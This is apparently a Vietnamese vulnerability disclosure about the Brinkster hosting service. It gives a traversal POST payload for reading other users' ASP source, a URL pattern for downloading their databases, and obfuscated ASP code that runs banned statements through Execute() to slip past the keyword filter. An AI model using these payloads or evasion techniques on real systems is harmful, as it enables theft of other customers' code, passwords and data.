Nhiều lổi được phát hiện trong Brinkster

trang này đã được đọc lần


Giới thiệu:


Brinkster là một công ty cung cấp host miễn phí/hoặc trả tiền phổ biến ,công ty đã nhận được sự quan tâm của nhiều khách hàng trên thế giới.

Lỗi:

Lỗi đã được phát hiện vào ngày 1/26/2004.Okie,chúng ta sẽ đi phân tích chi tiết những lỗi này:

1-Truy lục mã nguồn ASP:

Bất kì người dùng hợp lệ nào cũng có thể vào xem mã nguồn của người khác nếu biết được tên file.Vì vậy kẻ tấn công có thể lợi dụng điều này để vào mã nguồn ASP,dữ liệu password và các thông tin khác trong mã nguồn.

Lỗi này liên quan đến File Manager của Brinkster

(http://www.brinkster.com/FileManager.asp).

Trang Edit File Manager

(http://www.brinkster.com/FileManagerEdit.asp)

cho phép kẻ tấn công xem các file của victim bằng cách sửa đổi yêu cầu POST.

------------------------------------------------------
URL : http://www.brinkster.com/FileManagerEdit.asp
POST : faction=editfile&file2edit=%5C..%5C[VICTIM
USERNAME]%5C[FILE
TO READ AS TEXT]
------------------------------------------------------

2-Truy xuất File dữ liệu:

Nếu bạn biết được tên file database của bất kì người dùng Brinkster,bạn đều có thể download nó(Bạn có thể tìm tên database từ mã nguồn mà bạn có được trong lổi 1)

------------------------------------------------------
Database URL;

http://[BrinksterServer].brinkster.com/[Username]/db/[DatabaseFileName]
------------------------------------------------------


3-Bỏ qua code điều khiển:

Brinkster không cho phép 1 số code bị chia nhỏ trong file ASP.Giống như "Server.Scripttimeout = 8000". Brinkster File Manager sẽ tự động kiểm tra mã nguồn mà bạn đã upload và nếu nó phát hiện bất kì từ khoá bị hạn chế nào,ngay lập tức file mà bạn đã upload sẽ bị xoá.

Bạn hoàn toàn có thể bỏ qua cơ chế này bằng cách sử dụng ASP được cài sẵn trong hàm Execute().Hàm này không nằm trong danh sách từ khoá đen(từ khoá bị cấm) của Brinkster.Vì vậy bạn hãy viết đoạn code giải mã và mã hoá đơn giản và sử dụng nó bằng hàm Execute()

Ví dụ:
---------------

1) Cách đơn giản không dùng hàm Execute();
<%
On _
Error Resume Next
%>

2) Dùng hàm Execute();
<%
Dim onErrorStr
onErrorStr = "S e r v e r.S c r i p t T i m e o u t-E r r o r-R e s
u m e-N e x t"
Execute(Replace(Replace(onErrorStr," ",""),"-"," "))
%>


3) Dùng các giá trị Ascii và hàm Execute();
Code này cho phép bạn chọn "Server.Scripttimeout";
<%
Dim converted
Const errStr =
"083101114118101114046083099114105112116084105109101111117116032061032
057048048048048048048048048 "
converted = Asc2Str(errStr)
Execute(converted)

Response.Write converted

Function Asc2Str(byVal text)
Dim converted, character, i
For i = 0 to Round((Len(text)-1)/3,0)
If Len(text) > 2 Then
character = Chr(Left(text,3))
converted = converted & character
text = Right(text,Len(text)-3)
End If
Next

Asc2Str = converted
End Function
%>